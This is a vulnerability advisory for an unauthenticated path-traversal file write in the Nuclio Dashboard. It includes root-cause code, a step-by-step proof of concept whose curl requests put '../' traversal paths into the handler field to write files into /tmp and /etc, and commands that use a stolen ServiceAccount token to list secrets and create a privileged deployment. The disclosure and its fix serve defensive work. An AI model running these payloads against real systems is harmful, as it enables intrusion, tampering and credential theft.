Nuclio: Unauthenticated path traversal in spec.handler allows arbitrary file write in Dashboard container
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N상세 설명
Summary
Nuclio Dashboard exposes POST /api/functions without authentication by default (NOP auth mode). The spec.handler field (e.g., mymodule:myfunction) is parsed by functionconfig.ParseHandler() which splits on : only — no path validation is applied to the module portion.
During function build, writeFunctionSourceCodeToTempFile() passes the module name directly to path.Join(tempDir, moduleFileName). Go's path.Join internally calls path.Clean, which resolves ../ sequences and allows the resolved path to escape tempDir. The function then calls os.WriteFile at the attacker-controlled path with attacker-controlled content (base64-decoded spec.build.functionSourceCode).
The write executes in the Dashboard container process running as uid=0 (root), allowing writes to any filesystem location the process can access: /tmp, /etc, /usr/local/bin, /etc/cron.d, and more.
- CVSS 3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N— 7.5 (High) - CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
- Affected versions: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)
Details
Root Cause
The vulnerability spans three functions. The path from user input to disk write is:
1. ParseHandler — no path validation (pkg/functionconfig/handler.go:25-38):
1// pkg/functionconfig/handler.go:25-38 2func ParseHandler(handler string) (string, string, error) { 3 moduleAndEntrypoint := strings.Split(handler, ":") 4 switch len(moduleAndEntrypoint) { 5 case 1: 6 return "", moduleAndEntrypoint[0], nil 7 case 2: 8 // Returns moduleFileName verbatim — no path sanitization 9 return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil10 default:11 return "", "", errors.Errorf("Invalid handler name %s", handler)12 }13}Input "../../../../tmp/vul007_proof.txt:handler" returns moduleFileName = "../../../../tmp/vul007_proof.txt".
2. writeFunctionSourceCodeToTempFile — unsafe path construction (pkg/processor/build/builder.go:613-661):
1// builder.go:624-657 (abridged) 2tempDir, err := b.mkDirUnderTemp("source") 3// tempDir = /tmp/nuclio-build-<random>/source 4 5runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime) 6 7moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler) 8// moduleFileName = "../../../../tmp/vul007_proof.txt" — attacker-controlled 9 10if !strings.Contains(moduleFileName, ".") {11 moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)12}13// If moduleFileName already contains ".", no extension is appended14// "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is15 16sourceFilePath := path.Join(tempDir, moduleFileName)17// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")18// = "/tmp/vul007_proof.txt" <-- escaped tempDir19 20b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath)21if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {22 // Writes attacker-controlled bytes to attacker-controlled path3. cleanupTempDir does not remove the traversal file (builder.go:1047-1061):
1// builder.go:1053 2err := os.RemoveAll(b.tempDir) 3// Only removes /tmp/nuclio-build-<random>/ — traversal file outside this tree persistsPath Traversal Calculation
1tempDir = /tmp/nuclio-build-227825660/source (depth from /: 3 components) 2handler = "../../../../tmp/vul007_proof.txt:handler" 3module = "../../../../tmp/vul007_proof.txt" 4 5path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt") 6= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt") 7 8Traversal: 9 /tmp/nuclio-build-227825660/source (start)10 ../ -> /tmp/nuclio-build-22782566011 ../ -> /tmp12 ../ -> / (filesystem root)13 ../ -> / (cannot go above root)14 tmp/vul007_proof.txt -> /tmp/vul007_proof.txtThe same technique with 4x ../ reaches any path under /tmp, /etc, /usr, etc.
Full Attack Chain
1Unauthenticated HTTP client 2 -> POST /api/functions (no auth, NOP mode) 3 dashboard/resource/function.go:156 storeAndDeployFunction() 4 -> platform.CreateFunction() 5 platform/kube/platform.go:193 6 -> abstract/platform.go:191 HandleDeployFunction() 7 -> abstract/platform.go:119 CreateFunctionBuild() 8 -> builder.Build() 9 processor/build/builder.go:19510 -> builder.resolveFunctionPath()11 builder.go:66412 -> builder.writeFunctionSourceCodeToTempFile() <-- file write here13 builder.go:61314 -> os.WriteFile(attacker_path, attacker_content, 0644)15 builder.go:657PoC — Steps to Reproduce
Environment Setup
The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.
Step 1: Create isolated kind cluster with Docker socket mounted
The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:
1cat > /tmp/kind-vul007-config.yaml << 'EOF' 2kind: Cluster 3apiVersion: kind.x-k8s.io/v1alpha4 4nodes: 5- role: control-plane 6 extraMounts: 7 - hostPath: /var/run/docker.sock 8 containerPath: /var/run/docker.sock 9EOF10 11kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yamlExpected output:
1Creating cluster "vul-007" ... 2 ✓ Ensuring node image (kindest/node:v1.27.3) 3 ✓ Preparing nodes 4 ✓ Writing configuration 5 ✓ Starting control-plane 6 ✓ Installing CNI 7 ✓ Installing StorageClass 8Set kubectl context to "kind-vul-007"Verify Docker socket is available inside the cluster node:
1docker exec vul-007-control-plane ls -la /var/run/docker.sock 2# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sockStep 2: Deploy Nuclio via Helm
1# Create namespace 2kubectl --context kind-vul-007 create namespace nuclio 3 4# Load container images (if pre-pulled) 5kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007 6kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007 7 8# Install with Helm (chart from source: hack/k8s/helm/nuclio) 9helm install nuclio ./hack/k8s/helm/nuclio \10 --namespace nuclio \11 --kube-context kind-vul-007 \12 --set controller.image.pullPolicy=Never \13 --set dashboard.image.pullPolicy=Never \14 --set registry.pushPullUrl="localhost:5000" \15 --set dashboard.containerBuilderKind=dockerStep 3: Wait for Dashboard to be ready
1kubectl --context kind-vul-007 wait -n nuclio \ 2 --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s 3 4# Expected: 5# pod/nuclio-dashboard-b4c5bb96f-txjkt condition metStep 4: Expose Dashboard locally
1kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 & 2sleep 3 3 4# Verify Dashboard is accessible 5curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions 6# HTTP 200Step 5: Create default project (required by Dashboard API)
1curl -s -X POST http://localhost:8073/api/projects \ 2 -H "Content-Type: application/json" \ 3 -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'Exploitation
Step 6: Send path traversal request
The handler field ../../../../tmp/vul007_proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007_proof.txt inside the Dashboard container.
1curl -v -X POST http://localhost:8073/api/functions \ 2 -H "Content-Type: application/json" \ 3 -H "x-nuclio-project-name: default" \ 4 -d '{ 5 "metadata": {"name": "vul007-poc", "namespace": "nuclio"}, 6 "spec": { 7 "runtime": "python:3.11", 8 "handler": "../../../../tmp/vul007_proof.txt:handler", 9 "build": {10 "functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw=="11 },12 "minReplicas": 0,13 "maxReplicas": 114 }15 }'functionSourceCode base64 decoded: PROVED-PATH-TRAVERSAL-VUL007
Expected response:
1HTTP/1.1 202 AcceptedStep 7: Observe Dashboard build logs
1kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \ 2 | grep -E "temporary dir|Writing function source"Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):
126.05.17 14:55:02.225 (D) dashboard.server.api/functions Created temporary dir 2 {"dir": "/tmp/nuclio-build-227825660/source"} 3 426.05.17 14:55:02.225 (D) dashboard.server.api/functions Writing function source code to temporary file 5 {"functionPath": "/tmp/vul007_proof.txt"}The log confirms functionPath resolved to /tmp/vul007_proof.txt, which is
outside the tempDir /tmp/nuclio-build-227825660/source. Path traversal is confirmed.
Step 8: Verify file written to traversal path
1kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \ 2 -- cat /tmp/vul007_proof.txtOutput:
1PROVED-PATH-TRAVERSAL-VUL007 1kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \ 2 -- ls -la /tmp/vul007_proof.txtOutput:
1-rw-r--r-- 1 root root 28 May 17 14:55 /tmp/vul007_proof.txtStep 9: Write to /etc/ — broader impact demonstration
1curl -s -X POST http://localhost:8073/api/functions \ 2 -H "Content-Type: application/json" \ 3 -H "x-nuclio-project-name: default" \ 4 -d '{ 5 "metadata": {"name": "vul007-poc2", "namespace": "nuclio"}, 6 "spec": { 7 "runtime": "python:3.11", 8 "handler": "../../../../etc/vul007-marker.txt:handler", 9 "build": {10 "functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q="11 }12 }13 }'Log evidence:
126.05.17 14:55:50.666 (D) dashboard.server.api/functions Writing function source code to temporary file 2 {"functionPath": "/etc/vul007-marker.txt"} 1kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \ 2 -- cat /etc/vul007-marker.txt 3# VUL007-PERSISTENT-MARKER-rootCleanup
1kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true 2kind delete cluster --name vul-007Impact
Direct Impact
An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.
Demonstrated write targets:
/tmp/— confirmed (primary PoC)/etc/— confirmed (secondary PoC)
Potential high-impact write targets:
/etc/cron.d/— write a cron job entry; if a cron daemon runs in the container, this
achieves scheduled arbitrary command execution inside the container/usr/local/bin/<name>— overwrite a binary called by dashboard processes- Any file path accessible by root within the container filesystem
Privilege Escalation
The Dashboard container runs as uid=0 (root). Its mounted Kubernetes ServiceAccount (nuclio-dashboard) holds the following RBAC permissions in the nuclio namespace:
1Resources Verbs 2secrets [*] 3deployments.apps [*] 4pods [*] 5configmaps [*] 6services [*] 7cronjobs.batch [*]Verification: Using the SA token directly against the Kubernetes API:
1# List secrets — HTTP 200 2curl -k -H "Authorization: Bearer $SA_TOKEN" \ 3 "$K8S_API/api/v1/namespaces/nuclio/secrets" 4# => returns helm release secret, nuclio SA secret 5 6# Create privileged Deployment — HTTP 201 7curl -k -X POST -H "Authorization: Bearer $SA_TOKEN" \ 8 -H "Content-Type: application/json" \ 9 "$K8S_API/apis/apps/v1/namespaces/nuclio/deployments" \10 -d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}'11# HTTP_CODE:201An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the nuclio namespace, potentially escalating to cluster-level access depending on cluster configuration.
Scope
The file write is bounded to the Dashboard container filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.
Severity
CVSS 3.1 Score: 7.5 (High)
1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Dashboard API reachable over network |
| Attack Complexity | Low | Single HTTP request, no race condition |
| Privileges Required | None | Default NOP auth mode requires no credentials |
| User Interaction | None | Fully automated |
| Scope | Unchanged | Write confined to Dashboard container |
| Confidentiality | None | No data read in primary attack path |
| Integrity | High | Arbitrary file write as root in container |
| Availability | None | No service disruption caused by write |
Affected Versions
- Nuclio <= 1.15.27 (latest release at time of research)
- Dynamically verified against
quay.io/nuclio/dashboard:1.15.27-amd64on 2026-05-17
The vulnerable code path (writeFunctionSourceCodeToTempFile in pkg/processor/build/builder.go)
has been present since the functionSourceCode inline code feature was introduced.
Patched Versions
Workarounds
Option 1: Enable authentication on the Dashboard
Set NUCLIO_AUTH_KIND to a non-NOP value (e.g., iguazio) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.
1# In Dashboard deployment env 2- name: NUCLIO_AUTH_KIND 3 value: "iguazio"Option 2: Network-level access control
Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.
Option 3: Drop root privileges in the Dashboard container
Run the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.
Remediation
Add a path boundary check in writeFunctionSourceCodeToTempFile after constructing sourceFilePath:
1// pkg/processor/build/builder.go — fix for writeFunctionSourceCodeToTempFile 2sourceFilePath := path.Join(tempDir, moduleFileName) 3 4// Verify resolved path is within tempDir 5absPath, err := filepath.Abs(sourceFilePath) 6if err != nil { 7 return "", errors.Wrap(err, "Failed to resolve absolute path") 8} 9absTempDir, err := filepath.Abs(tempDir)10if err != nil {11 return "", errors.Wrap(err, "Failed to resolve absolute tempDir")12}13if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {14 return "", errors.Errorf(15 "handler module path escapes build directory: %s", moduleFileName)16}17 18b.logger.DebugWith("Writing function source code to temporary file", "functionPath", absPath)19if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {Alternatively, reject any handler module name containing path separator characters before the build pipeline is invoked (at API request validation time).
Resources
- Vulnerable file:
pkg/processor/build/builder.go— functionwriteFunctionSourceCodeToTempFile, line 654 - Parser:
pkg/functionconfig/handler.go— functionParseHandler, line 25 - Go
path.Joinbehavior: https://pkg.go.dev/path#Join - CWE-22: https://cwe.mitre.org/data/definitions/22.html
- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…